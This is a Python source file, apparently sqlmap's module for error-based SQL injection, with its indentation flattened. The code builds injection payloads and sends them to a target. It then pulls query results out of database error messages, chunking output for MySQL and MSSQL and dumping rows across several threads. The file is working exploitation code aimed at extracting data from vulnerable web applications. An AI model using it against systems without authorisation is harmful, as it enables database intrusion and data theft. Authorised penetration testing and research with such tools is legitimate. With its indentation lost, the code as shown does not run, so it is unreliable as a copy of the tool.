#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
import threading
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getUnicode
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.convert import htmlunescape
from lib.core.convert import safecharencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
from lib.core.settings import FROM_TABLE
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
reqCount = 0
def __oneShotErrorUse(expression, field):
global reqCount
threadData = getCurrentThreadData()
retVal = None
offset = 1
chunk_length = None
while True:
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.misc.start)
nulledCastedField = agent.nullAndCastField(field)
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length)
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1)
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True)
reqCount += 1
# Parse the returned page to get the exact error-based
# sql injection output
output = reduce(lambda x, y: x if x is not None else y, [ \
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \
None)
if output is not None:
output = getUnicode(output, kb.pageEncoding)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += trimmed
logger.warn(warnMsg)
if any(map(lambda dbms: Backend.isDbms(dbms), [DBMS.MYSQL, DBMS.MSSQL])):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
else:
retVal = output
break
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = __errorReplaceChars(retVal)
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal)))
return retVal
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, None)
if not output or (expected == EXPECTED.INT and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
if output is not None:
kb.locks.ioLock.acquire()
dataToStdout("[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), safecharencode(output)))
kb.locks.ioLock.release()
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def __errorReplaceChars(value):
"""
Restores safely replaced characters
"""
retVal = value
if value:
retVal = retVal.replace(kb.misc.space, " ").replace(kb.misc.dollar, "$")
return retVal
def errorUse(expression, expected=None, resumeValue=True, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(PAYLOAD.TECHNIQUE.ERROR)
global reqCount
count = None
start = time.time()
startLimit = 0
stopLimit = None
outputs = []
untilLimitChar = None
untilOrderChar = None
reqCount = 0
if resumeValue:
output = resume(expression, None)
else:
output = None
if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
return output
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.isDbms(DBMS.ORACLE):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not count or not count.isdigit():
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
count = __oneShotErrorUse(countedExpression, countedExpressionFields)
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
else:
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the used SQL query. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
try:
threadData = getCurrentThreadData()
numThreads = min(conf.threads, stopLimit-startLimit)
threadData.shared.limits = range(startLimit, stopLimit)
threadData.shared.outputs = []
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
lockNames = ('limits', 'outputs')
for lock in lockNames:
kb.locks[lock] = threading.Lock()
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.limits.acquire()
if threadData.shared.limits:
num = threadData.shared.limits[-1]
del threadData.shared.limits[-1]
kb.locks.limits.release()
else:
kb.locks.limits.release()
break
output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
if not kb.threadContinue:
break
if output and isinstance(output, list) and len(output) == 1:
output = output[0]
kb.locks.outputs.acquire()
threadData.shared.outputs.append(output)
kb.locks.outputs.release()
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
except sqlmapConnectionException, e:
errMsg = "connection exception detected. sqlmap "
errMsg += "will display partial output"
errMsg += "'%s'" % e
logger.critical(errMsg)
finally:
outputs = threadData.shared.outputs
kb.suppressResumeInfo = False
if not outputs:
outputs = __errorFields(expression, expressionFields, expressionFieldsList)
if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring):
outputs = outputs[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return outputs